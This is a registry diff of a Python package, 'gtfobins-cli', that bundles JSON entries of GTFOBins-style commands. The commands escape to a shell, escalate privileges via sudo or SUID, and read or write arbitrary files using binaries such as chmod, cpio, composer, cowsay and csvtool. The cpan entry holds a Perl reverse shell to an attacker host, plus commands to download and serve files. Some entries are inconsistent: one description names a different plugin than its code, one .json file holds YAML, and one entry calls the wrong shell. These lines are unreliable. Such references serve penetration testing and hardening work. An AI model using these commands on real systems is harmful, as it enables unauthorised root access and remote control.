gtfobins-cli 1.0.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- gtfo/__init__.py +2 -0
- gtfo/cli.py +90 -0
- gtfo/data/apt-get.json +24 -0
- gtfo/data/apt.json +24 -0
- gtfo/data/ar.json +20 -0
- gtfo/data/aria2c.json +24 -0
- gtfo/data/arp.json +20 -0
- gtfo/data/ash.json +24 -0
- gtfo/data/at.json +20 -0
- gtfo/data/atobm.json +20 -0
- gtfo/data/awk.json +46 -0
- gtfo/data/base32.json +19 -0
- gtfo/data/base64.json +19 -0
- gtfo/data/basenc.json +19 -0
- gtfo/data/bash.json +69 -0
- gtfo/data/bpftrace.json +15 -0
- gtfo/data/bundler.json +29 -0
- gtfo/data/busctl.json +15 -0
- gtfo/data/busybox.json +37 -0
- gtfo/data/byebug.json +19 -0
- gtfo/data/cancel.json +10 -0
- gtfo/data/capsh.json +19 -0
- gtfo/data/cat.json +19 -0
- gtfo/data/certbot.json +14 -0
- gtfo/data/check_by_ssh.json +17 -0
- gtfo/data/check_cups.json +15 -0
- gtfo/data/check_log.json +20 -0
- gtfo/data/check_memory.json +15 -0
- gtfo/data/check_raid.json +15 -0
- gtfo/data/check_ssl_cert.json +17 -0
- gtfo/data/check_statusfile.json +15 -0
- gtfo/data/chmod.json +15 -0
- gtfo/data/chown.json +15 -0
- gtfo/data/chroot.json +14 -0
- gtfo/data/cobc.json +14 -0
- gtfo/data/column.json +20 -0
- gtfo/data/comm.json +19 -0
- gtfo/data/composer.json +19 -0
- gtfo/data/cowsay.json +15 -0
- gtfo/data/cowthink.json +14 -0
- gtfo/data/cp.json +32 -0
- gtfo/data/cpan.json +33 -0
- gtfo/data/cpio.json +48 -0
- gtfo/data/cpulimit.json +19 -0
- gtfo/data/crash.json +21 -0
- gtfo/data/crontab.json +16 -0
- gtfo/data/csh.json +24 -0
- gtfo/data/csplit.json +19 -0
- gtfo/data/csvtool.json +31 -0
- gtfo/data/cupsfilter.json +19 -0
- gtfo/data/curl.json +34 -0
- gtfo/data/cut.json +19 -0
- gtfo/data/dash.json +24 -0
- gtfo/data/date.json +20 -0
- gtfo/data/dd.json +24 -0
- gtfo/data/dialog.json +20 -0
- gtfo/data/diff.json +19 -0
- gtfo/data/dig.json +20 -0
- gtfo/data/dmesg.json +22 -0
- gtfo/data/dmsetup.json +14 -0
- gtfo/data/dnf.json +10 -0
- gtfo/data/docker.json +35 -0
- gtfo/data/dpkg.json +20 -0
- gtfo/data/dvips.json +20 -0
- gtfo/data/easy_install.json +53 -0
- gtfo/data/eb.json +15 -0
- gtfo/data/ed.json +34 -0
- gtfo/data/emacs.json +29 -0
- gtfo/data/env.json +19 -0
- gtfo/data/eqn.json +20 -0
- gtfo/data/ex.json +24 -0
- gtfo/data/exiftool.json +20 -0
- gtfo/data/expand.json +20 -0
- gtfo/data/expect.json +19 -0
- gtfo/data/facter.json +14 -0
- gtfo/data/file.json +26 -0
- gtfo/data/find.json +19 -0
- gtfo/data/finger.json +17 -0
- gtfo/data/flock.json +19 -0
- gtfo/data/fmt.json +27 -0
- gtfo/data/fold.json +19 -0
- gtfo/data/ftp.json +26 -0
- gtfo/data/gawk.json +46 -0
- gtfo/data/gcc.json +24 -0
- gtfo/data/gdb.json +66 -0
- gtfo/data/gem.json +28 -0
- gtfo/data/genisoimage.json +15 -0
- gtfo/data/ghc.json +14 -0
- gtfo/data/ghci.json +14 -0
- gtfo/data/gimp.json +57 -0
- gtfo/data/git.json +55 -0
- gtfo/data/grep.json +20 -0
- gtfo/data/gtester.json +19 -0
- gtfo/data/gzip.json +23 -0
- gtfo/data/hd.json +20 -0
- gtfo/data/head.json +19 -0
- gtfo/data/hexdump.json +20 -0
- gtfo/data/highlight.json +19 -0
- gtfo/data/hping3.json +19 -0
- gtfo/data/iconv.json +25 -0
- gtfo/data/iftop.json +20 -0
- gtfo/data/install.json +15 -0
- gtfo/data/ionice.json +19 -0
- gtfo/data/ip.json +28 -0
- gtfo/data/irb.json +47 -0
- gtfo/data/jjs.json +43 -0
- gtfo/data/join.json +19 -0
- gtfo/data/journalctl.json +15 -0
- gtfo/data/jq.json +19 -0
- gtfo/data/jrunscript.json +43 -0
- gtfo/data/ksh.json +60 -0
- gtfo/data/ksshell.json +20 -0
- gtfo/data/latex.json +29 -0
- gtfo/data/latexmk.json +27 -0
- gtfo/data/ld.so.json +20 -0
- gtfo/data/ldconfig.json +17 -0
- gtfo/data/less.json +40 -0
- gtfo/data/logsave.json +19 -0
- gtfo/data/look.json +19 -0
- gtfo/data/ltrace.json +26 -0
- gtfo/data/lua.json +58 -0
- gtfo/data/lualatex.json +20 -0
- gtfo/data/luatex.json +20 -0
- gtfo/data/lwp-download.json +26 -0
- gtfo/data/lwp-request.json +14 -0
- gtfo/data/mail.json +20 -0
- gtfo/data/make.json +26 -0
- gtfo/data/man.json +24 -0
- gtfo/data/mawk.json +34 -0
- gtfo/data/more.json +24 -0
- gtfo/data/mount.json +10 -0
- gtfo/data/mtr.json +15 -0
- gtfo/data/mv.json +15 -0
- gtfo/data/mysql.json +26 -0
- gtfo/data/nano.json +34 -0
- gtfo/data/nawk.json +46 -0
- gtfo/data/nc.json +40 -0
- gtfo/data/nice.json +19 -0
- gtfo/data/nl.json +20 -0
- gtfo/data/nmap.json +82 -0
- gtfo/data/node.json +58 -0
- gtfo/data/nohup.json +24 -0
- gtfo/data/npm.json +14 -0
- gtfo/data/nroff.json +20 -0
- gtfo/data/nsenter.json +14 -0
- gtfo/data/octave-cli.json +30 -0
- gtfo/data/od.json +20 -0
- gtfo/data/openssl.json +55 -0
- gtfo/data/openvpn.json +28 -0
- gtfo/data/openvt.json +10 -0
- gtfo/data/paste.json +19 -0
- gtfo/data/pdb.json +15 -0
- gtfo/data/pdflatex.json +29 -0
- gtfo/data/pdftex.json +19 -0
- gtfo/data/perl.json +35 -0
- gtfo/data/pg.json +24 -0
- gtfo/data/php.json +70 -0
- gtfo/data/pic.json +19 -0
- gtfo/data/pico.json +34 -0
- gtfo/data/pip.json +53 -0
- gtfo/data/pkexec.json +9 -0
- gtfo/data/pkg.json +10 -0
- gtfo/data/pr.json +20 -0
- gtfo/data/pry.json +19 -0
- gtfo/data/psql.json +15 -0
- gtfo/data/puppet.json +26 -0
- gtfo/data/python.json +62 -0
- gtfo/data/rake.json +19 -0
- gtfo/data/readelf.json +20 -0
- gtfo/data/red.json +20 -0
- gtfo/data/redcarpet.json +15 -0
- gtfo/data/restic.json +20 -0
- gtfo/data/rev.json +19 -0
- gtfo/data/rlogin.json +11 -0
- gtfo/data/rlwrap.json +25 -0
- gtfo/data/rpm.json +26 -0
- gtfo/data/rpmquery.json +19 -0
- gtfo/data/rsync.json +19 -0
- gtfo/data/ruby.json +52 -0
- gtfo/data/run-mailcap.json +28 -0
- gtfo/data/run-parts.json +19 -0
- gtfo/data/rview.json +100 -0
- gtfo/data/rvim.json +100 -0
- gtfo/data/sash.json +19 -0
- gtfo/data/scp.json +31 -0
- gtfo/data/screen.json +24 -0
- gtfo/data/script.json +20 -0
- gtfo/data/sed.json +41 -0
- gtfo/data/service.json +14 -0
- gtfo/data/setarch.json +19 -0
- gtfo/data/sftp.json +26 -0
- gtfo/data/sg.json +15 -0
- gtfo/data/shuf.json +28 -0
- gtfo/data/smbclient.json +27 -0
- gtfo/data/snap.json +10 -0
- gtfo/data/socat.json +46 -0
- gtfo/data/soelim.json +20 -0
- gtfo/data/sort.json +19 -0
- gtfo/data/split.json +31 -0
- gtfo/data/sqlite3.json +34 -0
- gtfo/data/ss.json +20 -0
- gtfo/data/ssh-keygen.json +22 -0
- gtfo/data/ssh.json +38 -0
- gtfo/data/ssh_keyscan.json +20 -0
- gtfo/data/start-stop-daemon.json +19 -0
- gtfo/data/stdbuf.json +19 -0
- gtfo/data/strace.json +25 -0
- gtfo/data/strings.json +20 -0
- gtfo/data/su.json +9 -0
- gtfo/data/sysctl.json +20 -0
- gtfo/data/systemctl.json +21 -0
- gtfo/data/tac.json +20 -0
- gtfo/data/tail.json +19 -0
- gtfo/data/tar.json +51 -0
- gtfo/data/taskset.json +19 -0
- gtfo/data/tbl.json +20 -0
- gtfo/data/tclsh.json +25 -0
- gtfo/data/tcpdump.json +15 -0
- gtfo/data/tee.json +20 -0
- gtfo/data/telnet.json +28 -0
- gtfo/data/tex.json +19 -0
- gtfo/data/tftp.json +28 -0
- gtfo/data/time.json +20 -0
- gtfo/data/timeout.json +19 -0
- gtfo/data/tmux.json +14 -0
- gtfo/data/top.json +16 -0
- gtfo/data/troff.json +20 -0
- gtfo/data/ul.json +20 -0
- gtfo/data/unexpand.json +19 -0
- gtfo/data/uniq.json +20 -0
- gtfo/data/unshare.json +19 -0
- gtfo/data/update-alternatives.json +16 -0
- gtfo/data/uuencode.json +19 -0
- gtfo/data/valgrind.json +14 -0
- gtfo/data/vi.json +28 -0
- gtfo/data/view.json +109 -0
- gtfo/data/vim.json +109 -0
- gtfo/data/vimdiff.json +109 -0
- gtfo/data/virsh.json +21 -0
- gtfo/data/watch.json +25 -0
- gtfo/data/wc.json +20 -0
- gtfo/data/wget.json +40 -0
- gtfo/data/whois.json +25 -0
- gtfo/data/wish.json +20 -0
- gtfo/data/xargs.json +35 -0
- gtfo/data/xelatex.json +29 -0
- gtfo/data/xetex.json +19 -0
- gtfo/data/xmodmap.json +20 -0
- gtfo/data/xmore.json +20 -0
- gtfo/data/xxd.json +24 -0
- gtfo/data/xz.json +19 -0
- gtfo/data/yelp.json +10 -0
- gtfo/data/yum.json +20 -0
- gtfo/data/zip.json +24 -0
- gtfo/data/zsh.json +29 -0
- gtfo/data/zsoelim.json +20 -0
- gtfo/data/zypper.json +22 -0
- gtfobins_cli-1.0.0.dist-info/METADATA +188 -0
- gtfobins_cli-1.0.0.dist-info/RECORD +263 -0
- gtfobins_cli-1.0.0.dist-info/WHEEL +5 -0
- gtfobins_cli-1.0.0.dist-info/entry_points.txt +2 -0
- gtfobins_cli-1.0.0.dist-info/licenses/LICENSE +674 -0
- gtfobins_cli-1.0.0.dist-info/top_level.txt +1 -0
|
@@ -0,0 +1,15 @@
|
|
|
1
|
+
{
|
|
2
|
+
"description": "This is the 'check_cups' Nagios plugin, available e.g. in '/usr/lib/nagios/plugins/'. The read file content is limited to the first line.\n",
|
|
3
|
+
"functions": {
|
|
4
|
+
"file-read": [
|
|
5
|
+
{
|
|
6
|
+
"code": "check_cups --extra-opts=@[file]\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"sudo": [
|
|
10
|
+
{
|
|
11
|
+
"code": "sudo check_cups --extra-opts=@[file]\n"
|
|
12
|
+
}
|
|
13
|
+
]
|
|
14
|
+
}
|
|
15
|
+
}
|
gtfo/data/check_log.json
ADDED
|
@@ -0,0 +1,20 @@
|
|
|
1
|
+
{
|
|
2
|
+
"description": "This is the 'check_log' Nagios plugin, available e.g. in '/usr/lib/nagios/plugins/'.\n",
|
|
3
|
+
"functions": {
|
|
4
|
+
"file-read": [
|
|
5
|
+
{
|
|
6
|
+
"code": "check_log -F [file] -O [output]\ncat [output]\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"file-write": [
|
|
10
|
+
{
|
|
11
|
+
"code": "check_log -F [input] -O [file]\n"
|
|
12
|
+
}
|
|
13
|
+
],
|
|
14
|
+
"sudo": [
|
|
15
|
+
{
|
|
16
|
+
"code": "sudo check_log -F [input] -O [file]\n"
|
|
17
|
+
}
|
|
18
|
+
]
|
|
19
|
+
}
|
|
20
|
+
}
|
|
@@ -0,0 +1,15 @@
|
|
|
1
|
+
{
|
|
2
|
+
"description": "This is the 'check_memory' Nagios plugin, available e.g. in '/usr/lib/nagios/plugins/'. The read file content is limited to the first line.\n",
|
|
3
|
+
"functions": {
|
|
4
|
+
"file-read": [
|
|
5
|
+
{
|
|
6
|
+
"code": "check_memory --extra-opts=@[file]\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"sudo": [
|
|
10
|
+
{
|
|
11
|
+
"code": "sudo check_memory --extra-opts=@[file]\n"
|
|
12
|
+
}
|
|
13
|
+
]
|
|
14
|
+
}
|
|
15
|
+
}
|
|
@@ -0,0 +1,15 @@
|
|
|
1
|
+
{
|
|
2
|
+
"description": "This is the 'check_raid' Nagios plugin, available e.g. in '/usr/lib/nagios/plugins/'. The read file content is limited to the first line.\n",
|
|
3
|
+
"functions": {
|
|
4
|
+
"file-read": [
|
|
5
|
+
{
|
|
6
|
+
"code": "check_raid --extra-opts=@[file]\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"sudo": [
|
|
10
|
+
{
|
|
11
|
+
"code": "sudo check_raid --extra-opts=@[file]\n"
|
|
12
|
+
}
|
|
13
|
+
]
|
|
14
|
+
}
|
|
15
|
+
}
|
|
@@ -0,0 +1,17 @@
|
|
|
1
|
+
{
|
|
2
|
+
"description": "This is the 'check_by_ssh' Nagios plugin, available e.g. in '/usr/lib/nagios/plugins/'.\n",
|
|
3
|
+
"functions": {
|
|
4
|
+
"command": [
|
|
5
|
+
{
|
|
6
|
+
"description": "The host example.net must return a certificate via TLS",
|
|
7
|
+
"code": "TF=$(mktemp)\necho \"[command] | tee [file]\" > $TF\nchmod +x $TF\ncheck_ssl_cert --curl-bin $TF -H example.net\ncat [file]\n"
|
|
8
|
+
}
|
|
9
|
+
],
|
|
10
|
+
"sudo": [
|
|
11
|
+
{
|
|
12
|
+
"description": "The host example.net must return a certificate via TLS",
|
|
13
|
+
"code": "TF=$(mktemp)\necho \"[command] | tee [file]\" > $TF\nchmod +x $TF\numask 022\ncheck_ssl_cert --curl-bin $TF -H example.net\ncat [file]\n"
|
|
14
|
+
}
|
|
15
|
+
]
|
|
16
|
+
}
|
|
17
|
+
}
|
|
@@ -0,0 +1,15 @@
|
|
|
1
|
+
{
|
|
2
|
+
"description": "This is the 'check_statusfile' Nagios plugi plugin, available e.g. in '/usr/lib/nagios/plugins/'. The read file content is limited to the first line.\n",
|
|
3
|
+
"functions": {
|
|
4
|
+
"file-read": [
|
|
5
|
+
{
|
|
6
|
+
"code": "check_statusfile [file]\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"sudo": [
|
|
10
|
+
{
|
|
11
|
+
"code": "sudo check_statusfile [file]\n"
|
|
12
|
+
}
|
|
13
|
+
]
|
|
14
|
+
}
|
|
15
|
+
}
|
gtfo/data/chmod.json
ADDED
|
@@ -0,0 +1,15 @@
|
|
|
1
|
+
{
|
|
2
|
+
"description": "This can be run with elevated privileges to change permissions ('6' denotes the SUID bits) and then read, write, or execute a file.",
|
|
3
|
+
"functions": {
|
|
4
|
+
"suid": [
|
|
5
|
+
{
|
|
6
|
+
"code": "./chmod 6777 [file]\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"sudo": [
|
|
10
|
+
{
|
|
11
|
+
"code": "sudo chmod 6777 [file]\n"
|
|
12
|
+
}
|
|
13
|
+
]
|
|
14
|
+
}
|
|
15
|
+
}
|
gtfo/data/chown.json
ADDED
|
@@ -0,0 +1,15 @@
|
|
|
1
|
+
{
|
|
2
|
+
"description": "This can be run with elevated privileges to change ownership and then read, write, or execute a file.",
|
|
3
|
+
"functions": {
|
|
4
|
+
"suid": [
|
|
5
|
+
{
|
|
6
|
+
"code": "./chown $(id -un):$(id -gn) [file]\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"sudo": [
|
|
10
|
+
{
|
|
11
|
+
"code": "sudo chown $(id -un):$(id -gn) [file]\n"
|
|
12
|
+
}
|
|
13
|
+
]
|
|
14
|
+
}
|
|
15
|
+
}
|
gtfo/data/chroot.json
ADDED
gtfo/data/cobc.json
ADDED
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"shell": [
|
|
4
|
+
{
|
|
5
|
+
"code": "TF=$(mktemp -d)\necho 'CALL \"SYSTEM\" USING \"/bin/sh\".' > $TF/x\ncobc -xFj --frelax-syntax-checks $TF/x\n"
|
|
6
|
+
}
|
|
7
|
+
],
|
|
8
|
+
"sudo": [
|
|
9
|
+
{
|
|
10
|
+
"code": "TF=$(mktemp -d)\necho 'CALL \"SYSTEM\" USING \"/bin/sh\".' > $TF/x\nsudo cobc -xFj --frelax-syntax-checks $TF/x\n"
|
|
11
|
+
}
|
|
12
|
+
]
|
|
13
|
+
}
|
|
14
|
+
}
|
gtfo/data/column.json
ADDED
|
@@ -0,0 +1,20 @@
|
|
|
1
|
+
{
|
|
2
|
+
"description": "'column' expects textual data.\n",
|
|
3
|
+
"functions": {
|
|
4
|
+
"file-read": [
|
|
5
|
+
{
|
|
6
|
+
"code": "column [file]\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"suid": [
|
|
10
|
+
{
|
|
11
|
+
"code": "./column [file]\n"
|
|
12
|
+
}
|
|
13
|
+
],
|
|
14
|
+
"sudo": [
|
|
15
|
+
{
|
|
16
|
+
"code": "sudo column [file]\n"
|
|
17
|
+
}
|
|
18
|
+
]
|
|
19
|
+
}
|
|
20
|
+
}
|
gtfo/data/comm.json
ADDED
|
@@ -0,0 +1,19 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"file-read": [
|
|
4
|
+
{
|
|
5
|
+
"code": "comm [file] /dev/null 2>/dev/null\n"
|
|
6
|
+
}
|
|
7
|
+
],
|
|
8
|
+
"suid": [
|
|
9
|
+
{
|
|
10
|
+
"code": "comm [file] /dev/null 2>/dev/null\n"
|
|
11
|
+
}
|
|
12
|
+
],
|
|
13
|
+
"sudo": [
|
|
14
|
+
{
|
|
15
|
+
"code": "sudo comm [file] /dev/null 2>/dev/null\n"
|
|
16
|
+
}
|
|
17
|
+
]
|
|
18
|
+
}
|
|
19
|
+
}
|
gtfo/data/composer.json
ADDED
|
@@ -0,0 +1,19 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"shell": [
|
|
4
|
+
{
|
|
5
|
+
"code": "TF=$(mktemp -d)\necho '{\"scripts\":{\"x\":\"/bin/sh -i 0<&3 1>&3 2>&3\"}}' >$TF/composer.json\ncomposer --working-dir=$TF run-script x\n"
|
|
6
|
+
}
|
|
7
|
+
],
|
|
8
|
+
"limited-suid": [
|
|
9
|
+
{
|
|
10
|
+
"code": "TF=$(mktemp -d)\necho '{\"scripts\":{\"x\":\"/bin/sh -i 0<&3 1>&3 2>&3\"}}' >$TF/composer.json\n./composer --working-dir=$TF run-script x\n"
|
|
11
|
+
}
|
|
12
|
+
],
|
|
13
|
+
"sudo": [
|
|
14
|
+
{
|
|
15
|
+
"code": "TF=$(mktemp -d)\necho '{\"scripts\":{\"x\":\"/bin/sh -i 0<&3 1>&3 2>&3\"}}' >$TF/composer.json\nsudo composer --working-dir=$TF run-script x\n"
|
|
16
|
+
}
|
|
17
|
+
]
|
|
18
|
+
}
|
|
19
|
+
}
|
gtfo/data/cowsay.json
ADDED
|
@@ -0,0 +1,15 @@
|
|
|
1
|
+
{
|
|
2
|
+
"description": "It allows to execute Perl code, other functions may apply.",
|
|
3
|
+
"functions": {
|
|
4
|
+
"shell": [
|
|
5
|
+
{
|
|
6
|
+
"code": "TF=$(mktemp)\necho 'exec \"/bin/sh\";' >$TF\ncowsay -f $TF x\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"sudo": [
|
|
10
|
+
{
|
|
11
|
+
"code": "TF=$(mktemp)\necho 'exec \"/bin/sh\";' >$TF\nsudo cowsay -f $TF x\n"
|
|
12
|
+
}
|
|
13
|
+
]
|
|
14
|
+
}
|
|
15
|
+
}
|
gtfo/data/cowthink.json
ADDED
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
---
|
|
2
|
+
description: It allows to execute Perl code, other functions may apply.
|
|
3
|
+
functions:
|
|
4
|
+
shell:
|
|
5
|
+
- code: |
|
|
6
|
+
TF=$(mktemp)
|
|
7
|
+
echo 'exec "/bin/sh";' >$TF
|
|
8
|
+
cowthink -f $TF x
|
|
9
|
+
sudo:
|
|
10
|
+
- code: |
|
|
11
|
+
TF=$(mktemp)
|
|
12
|
+
echo 'exec "/bin/sh";' >$TF
|
|
13
|
+
sudo cowthink -f $TF x
|
|
14
|
+
---
|
gtfo/data/cp.json
ADDED
|
@@ -0,0 +1,32 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"file-read": [
|
|
4
|
+
{
|
|
5
|
+
"code": "cp \"[file]\" /dev/stdout\n"
|
|
6
|
+
}
|
|
7
|
+
],
|
|
8
|
+
"file-write": [
|
|
9
|
+
{
|
|
10
|
+
"code": "echo \"DATA\" | cp /dev/stdin \"[file]\"\n"
|
|
11
|
+
}
|
|
12
|
+
],
|
|
13
|
+
"suid": [
|
|
14
|
+
{
|
|
15
|
+
"code": "echo \"DATA\" | ./cp /dev/stdin \"[file]\"\n"
|
|
16
|
+
},
|
|
17
|
+
{
|
|
18
|
+
"description": "This can be used to copy and then read or write files from a restricted file systems or with elevated privileges.",
|
|
19
|
+
"code": "TF=$(mktemp)\necho \"DATA\" > $TF\n./cp $TF [file]\n"
|
|
20
|
+
}
|
|
21
|
+
],
|
|
22
|
+
"sudo": [
|
|
23
|
+
{
|
|
24
|
+
"code": "echo \"DATA\" | sudo cp /dev/stdin \"[file]\"\n"
|
|
25
|
+
},
|
|
26
|
+
{
|
|
27
|
+
"description": "This can be used to copy and then read or write files from a restricted file systems or with elevated privileges.",
|
|
28
|
+
"code": "TF=$(mktemp)\necho \"DATA\" > $TF\nsudo cp $TF [file]\n"
|
|
29
|
+
}
|
|
30
|
+
]
|
|
31
|
+
}
|
|
32
|
+
}
|
gtfo/data/cpan.json
ADDED
|
@@ -0,0 +1,33 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"shell": [
|
|
4
|
+
{
|
|
5
|
+
"description": "'cpan' lets you execute perl commands with the '! command'.\n",
|
|
6
|
+
"code": "cpan\n! exec '/bin/bash'\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"reverse-shell": [
|
|
10
|
+
{
|
|
11
|
+
"description": "Run 'nc -lvp [port]' on the attacker box to receive the shell.",
|
|
12
|
+
"code": "export RHOST=[host]\nexport RPORT=[port]\ncpan\n! use Socket; my $i=\"$ENV{RHOST}\"; my $p=$ENV{RPORT}; socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\")); if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\"); open(STDOUT,\">&S\"); open(STDERR,\">&S\"); exec(\"/bin/sh -i\");};\n"
|
|
13
|
+
}
|
|
14
|
+
],
|
|
15
|
+
"file-upload": [
|
|
16
|
+
{
|
|
17
|
+
"description": "Serve files in the local folder running an HTTP server on port 8080. Install the dependency via 'cpan HTTP::Server::Simple'.",
|
|
18
|
+
"code": "cpan\n! use HTTP::Server::Simple; my $server= HTTP::Server::Simple->new(); $server->run();\n"
|
|
19
|
+
}
|
|
20
|
+
],
|
|
21
|
+
"file-download": [
|
|
22
|
+
{
|
|
23
|
+
"description": "Fetch a remote file via an HTTP GET request and store it in 'PWD'.",
|
|
24
|
+
"code": "export URL=[host]/[file]\ncpan\n! use File::Fetch; my $file = (File::Fetch->new(uri => \"$ENV{URL}\"))->fetch();\n"
|
|
25
|
+
}
|
|
26
|
+
],
|
|
27
|
+
"sudo": [
|
|
28
|
+
{
|
|
29
|
+
"code": "sudo cpan\n! exec '/bin/bash'\n"
|
|
30
|
+
}
|
|
31
|
+
]
|
|
32
|
+
}
|
|
33
|
+
}
|
gtfo/data/cpio.json
ADDED
|
@@ -0,0 +1,48 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"shell": [
|
|
4
|
+
{
|
|
5
|
+
"code": "echo '/bin/sh </dev/tty >/dev/tty' >localhost\ncpio -o --rsh-command /bin/sh -F localhost:\n"
|
|
6
|
+
}
|
|
7
|
+
],
|
|
8
|
+
"file-read": [
|
|
9
|
+
{
|
|
10
|
+
"description": "The content of the file is printed to standard output, between the cpio archive format header and footer.",
|
|
11
|
+
"code": "echo \"[file]\" | cpio -o\n"
|
|
12
|
+
},
|
|
13
|
+
{
|
|
14
|
+
"description": "The whole directory structure is copied to '$TF'.",
|
|
15
|
+
"code": "TF=$(mktemp -d)\necho \"[file]\" | cpio -dp $TF\ncat \"$TF/[file]\"\n"
|
|
16
|
+
}
|
|
17
|
+
],
|
|
18
|
+
"file-write": [
|
|
19
|
+
{
|
|
20
|
+
"description": "Copies the file to the dir directory.",
|
|
21
|
+
"code": "echo [data] >[file]\necho [file] | cpio -up [dir]\n"
|
|
22
|
+
}
|
|
23
|
+
],
|
|
24
|
+
"suid": [
|
|
25
|
+
{
|
|
26
|
+
"description": "The whole directory structure is copied to '$TF'.",
|
|
27
|
+
"code": "TF=$(mktemp -d)\necho \"[file]\" | ./cpio -R $UID -dp $TF\ncat \"$TF/[file]\"\n"
|
|
28
|
+
},
|
|
29
|
+
{
|
|
30
|
+
"description": "Copies `$LFILE` to the `$LDIR` directory.",
|
|
31
|
+
"code": "echo [data] >[file]\necho [file] | ./cpio -R 0:0 -p [dir]\n"
|
|
32
|
+
}
|
|
33
|
+
],
|
|
34
|
+
"sudo": [
|
|
35
|
+
{
|
|
36
|
+
"code": "echo '/bin/sh </dev/tty >/dev/tty' >localhost\nsudo cpio -o --rsh-command /bin/sh -F localhost:\n"
|
|
37
|
+
},
|
|
38
|
+
{
|
|
39
|
+
"description": "The whole directory structure is copied to '$TF'.",
|
|
40
|
+
"code": "TF=$(mktemp -d)\necho \"[file]\" | sudo cpio -R $UID -dp $TF\ncat \"$TF/[file]\"\n"
|
|
41
|
+
},
|
|
42
|
+
{
|
|
43
|
+
"description": "Copies the file to the dir directory.",
|
|
44
|
+
"code": "echo [data] >[file]\necho [file] | sudo cpio -R 0:0 -p [dir]\n"
|
|
45
|
+
}
|
|
46
|
+
]
|
|
47
|
+
}
|
|
48
|
+
}
|
gtfo/data/cpulimit.json
ADDED
gtfo/data/crash.json
ADDED
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"shell": [
|
|
4
|
+
{
|
|
5
|
+
"description": "This invokes the default pager, which is likely to be 'less', other functions may apply.",
|
|
6
|
+
"code": "crash -h\n!sh\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"command": [
|
|
10
|
+
{
|
|
11
|
+
"code": "CRASHPAGER=\"[command]\" crash -h\n"
|
|
12
|
+
}
|
|
13
|
+
],
|
|
14
|
+
"sudo": [
|
|
15
|
+
{
|
|
16
|
+
"description": "This invokes the default pager, which is likely to be 'less', other functions may apply.",
|
|
17
|
+
"code": "sudo crash -h\n!sh\n"
|
|
18
|
+
}
|
|
19
|
+
]
|
|
20
|
+
}
|
|
21
|
+
}
|
gtfo/data/crontab.json
ADDED
|
@@ -0,0 +1,16 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"command": [
|
|
4
|
+
{
|
|
5
|
+
"description": "The commands are executed according to the crontab file edited via the 'crontab' utility.",
|
|
6
|
+
"code": "crontab -e"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"sudo": [
|
|
10
|
+
{
|
|
11
|
+
"description": "The commands are executed according to the crontab file edited via the 'crontab' utility.",
|
|
12
|
+
"code": "sudo crontab -e"
|
|
13
|
+
}
|
|
14
|
+
]
|
|
15
|
+
}
|
|
16
|
+
}
|
gtfo/data/csh.json
ADDED
|
@@ -0,0 +1,24 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"shell": [
|
|
4
|
+
{
|
|
5
|
+
"code": "csh"
|
|
6
|
+
}
|
|
7
|
+
],
|
|
8
|
+
"file-write": [
|
|
9
|
+
{
|
|
10
|
+
"code": "ash -c 'echo DATA > [file]'\n"
|
|
11
|
+
}
|
|
12
|
+
],
|
|
13
|
+
"suid": [
|
|
14
|
+
{
|
|
15
|
+
"code": "./csh -b"
|
|
16
|
+
}
|
|
17
|
+
],
|
|
18
|
+
"sudo": [
|
|
19
|
+
{
|
|
20
|
+
"code": "sudo csh"
|
|
21
|
+
}
|
|
22
|
+
]
|
|
23
|
+
}
|
|
24
|
+
}
|
gtfo/data/csplit.json
ADDED
gtfo/data/csvtool.json
ADDED
|
@@ -0,0 +1,31 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"file-read": [
|
|
4
|
+
{
|
|
5
|
+
"description": "The file is actually parsed and manipulated as CSV, so this might not be suitable for arbitrary data.",
|
|
6
|
+
"code": "csvtool trim t [file]\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"file-write": [
|
|
10
|
+
{
|
|
11
|
+
"description": "The file is actually parsed and manipulated as CSV, so this might not be suitable for arbitrary data.",
|
|
12
|
+
"code": "TF=$(mktemp)\necho [data] > $TF\ncsvtool trim t $TF -o [file]\n"
|
|
13
|
+
}
|
|
14
|
+
],
|
|
15
|
+
"suid": [
|
|
16
|
+
{
|
|
17
|
+
"code": "./csvtool trim t [file]\n"
|
|
18
|
+
}
|
|
19
|
+
],
|
|
20
|
+
"shell": [
|
|
21
|
+
{
|
|
22
|
+
"code": "csvtool call '/bin/sh;false' /etc/passwd"
|
|
23
|
+
}
|
|
24
|
+
],
|
|
25
|
+
"sudo": [
|
|
26
|
+
{
|
|
27
|
+
"code": "sudo csvtool call '/bin/sh;false' /etc/passwd"
|
|
28
|
+
}
